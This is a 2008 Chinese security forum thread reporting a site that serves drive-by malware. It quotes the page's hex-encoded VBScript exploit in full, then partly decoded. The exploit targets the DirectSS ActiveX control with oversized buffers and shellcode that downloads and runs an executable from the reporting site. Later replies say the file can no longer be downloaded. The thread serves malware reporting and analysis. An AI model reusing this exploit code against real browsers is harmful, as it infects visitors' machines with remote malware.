hxxp://www.daohang08.com [挂马]

显示全部楼层 · 发表于 2008-12-17 22:11:37

看来是第一帖新区终于开张鸟 gxgx哇

>hXXp://www.daohang08.com/down/htmmm/0733.htm
(hXXp://www.daohang08.com/down/htmmm/exe.exe)

......
S="3C68746D6c3e0d0a3c6f626a65637420636c61737369643d22636C7369643a45454537383539312d464532322d3131"
S=S+"44302D384245462D303036303038313834314445222069643d224469726563745353223e3C2F4f424A4543543e0D0a"
S=S+"3c626f64793E0D0a3C736372697074206c616E67756167653D227662736372697074223E0d0A6F6e206572726F7220"
S=S+"726573756D65206e6578740D0a733D2225753534656225753735386225753862336325753335373425753033373825"
S=S+"7535366635257537363862257530333230220D0a733D732b2225753333663525753439633925756164343125756462"
S=S+"333325753066333625753134626525753338323825753734663222200D0A733d732b22257563313038257530646362"
S=S+"25756461303325756562343025753362656625753735646625753565653725753565386222200d0A733D732b222575"
S=S+"3033323425753636646425753063386225753862346225753163356525756464303325753034386225753033386222"
S=S+"200d0a743D732b22257563336335257537323735257536643663257536653666257536343265257536633663257534"
S=S+"33303025753563336122200D0A733D742b222575326535352575373836352575303036352575633033332575303336"
S=S+"3425753330343025753063373825753430386222200D0A733D732b2225753862306325753163373025753862616425"
S=S+"753038343025753039656225753430386225753864333425753763343022200d0a733D732B22257534303862257539"
S=S+"35336325753865626625753065346525756538656325756666383425756666666625756563383322200D0a733D732b"
S=S+"2225753833303425753234326325756666336325753935643025756266353025753161333625753730326625753666"
S=S+"653822200D0a733d732B22257566666666257538626666257532343534257538646663257562613532257564623333"
S=S+"25753533353325756562353222200D0A733d732b222575353332342575643066662575626635642575666539382575"
S=S+"3065386125753533653825756666666625753833666622200D0a733D732B2225753034656325753263383325753632"
S=S+"323425756430666625753765626625756532643825756538373325756666343022200d0a733D732b22257566666666"
S=S+"257566663532257565386430257566666437257566666666220D0A733D732b22257537343638257537303734257532"
S=S+"6633612575373732662575373737372575363432652575366636312575363136382575363736652575333833302575"
S=S+"3633326525753664366625753634326625753737366625753266366525753734363825753664366425753266366425"
S=S+"7537383635257532653635257537383635257530303635220d0a73636F6465203D20756E657363617065287329202b"
S=S+"204E4f500d0a206561783D20756E657363617065282225666625313322290D0A6562703d20756E6573636170652822"
S=S+"25666625313322290d0A6569703d20756e657363617065282225303125306122290D0a6A6e6b3D20737472696e6728"
S=S+"35302C756e65736361706528222531332229290d0A73756E747A75203D20737472696e67283838382C22412229202b"
S=S+"20656270202b20656970202B20656178202B206a6E6B0d0a627566666572492020203d20737472696E672839393939"
S=S+"3939392c225822290D0a627566666572494920203D20737472696E6728393939393939392c225922290d0A62756666"
S=S+"6572494949203d20737472696e6728393939393939392c225A22290D0A627566666572495620203D20737472696e67"
S=S+"28393939393939392C224F22290d0A456e67696E6549443D20737472696E67283230303030302c226222290D0a4d66"
S=S+"674E616D653D2264656661756C74220d0a50726F647563744e616d653D2264656661756c74220d0A4d6f646549443D"
S=S+"20737472696E67283139393534342C756e6573636170652822253930222929202b2073636f64650D0a4D6F64654e61"
S=S+"6D653D2073756E747A750D0A4c616e677561676549443D310d0A4469616C6563743d2264656661756c74220d0a5370"
S=S+"65616b65723d2264656661756c74220d0a5374796C653d310d0a47656e6465723d310d0a4167653D310d0A46656174"
S=S+"757265733D310d0a496e74657266616365733D310d0A456E67696e6546656174757265733D310d0a0952616e6B456E"
S=S+"67696E6549443D310d0A0952616e6b4D66674E616d653d310d0A0952616E6B50726F647563744E616D653D310D0a09"
S=S+"52616E6b4d6f646549443d310d0A0952616E6b4d6f64654e616d653d310d0a0952616E6b4c616E67756167653D310d"
S=S+"0A0952616e6B4469616c6563743D310D0A0952616e6B537065616B65723d310D0A0952616E6B5374796c653d310D0a"
S=S+"0952616e6B47656e6465723d310D0A0952616E6B4167653D310D0a0952616E6b46656174757265733d310D0A095261"
S=S+"6e6b496e74657266616365733d310D0A0952616E6B456e67696E6546656174757265733D310d0a4469726563745353"
S=S+"2e46696E64456E67696e6520456e67696E6549442C204d66674e616D652C2050726f647563744E616D652c204d6F64"
S=S+"6549442c204d6F64654E616d652C204C616E677561676549442C204469616C6563742c20537065616B65722c205374"
S=S+"796c652C2047656E6465722C204167652c2046656174757265732c20496E74657266616365732c20456e67696e6546"
S=S+"656174757265732c2052616e6B456e67696E6549442c2052616e6b4d66674e616D652C2052616e6b50726f64756374"
S=S+"4e616D652C2052616e6B4D6F646549442c2052616E6b4d6f64654E616d652c2052616E6b4c616e67756167652C2052"
S=S+"616E6B4469616C6563742c2052616e6b537065616B65722C2052616e6B5374796c652C2052616E6B47656e6465722c"
S=S+"2052616E6b4167652C2052616e6b46656174757265732c2052616e6B496e74657266616365732c2052616E6b456E67"
S=S+"696e6546656174757265730D0a3c2F7363726970743E0D0a3c2F626f64793E0D0A3C2F68746d6c3e0D0a0D0a"
.....

复制代码

B>引号内数据提取 + 7>连接行 + 8>HexAscii清除 + 5>Unicode清除(%u) =

<object classid="clsid:EEE78591-FE22-11D0-8BEF-0060081841DE" id="DirectSS"></OBJECT>
<body>
<script language="vbscript">
on error resume next
s="Tu<t5xVv "
s=s+"3IA36(8t"
s=s+"@;u^^"
s=s+"$fK^"
t=s+"urlmon.dllC:"
s=t+"U.exe3d@0x@"
s=s+"p@@4@|"
s=s+"@<N"
s=s+",[ DISCUZ_CODE_1 ]lt;P6/po"
s=s+"T$R3SSR"
s=s+"$S]S"
s=s+",$b~s@"
s=s+"R"
s=s+"http://www.daohang08.com/down/htmmm/exe.exe"
.....

复制代码

[ 本帖最后由 jimmyleo 于 2008-12-18 09:33 编辑 ]

显示全部楼层 · 发表于 2008-12-17 22:50:29

http://www.daohang08.com/down/htmmm/exe.exe

can not download

[ 本帖最后由 Palkia 于 2008-12-17 22:58 编辑 ]

显示全部楼层 · 发表于 2008-12-18 09:43:42

文件已经不能下载 ^_^ 哪位补一个

[其它] hxxp://www.daohang08.com [挂马]

评分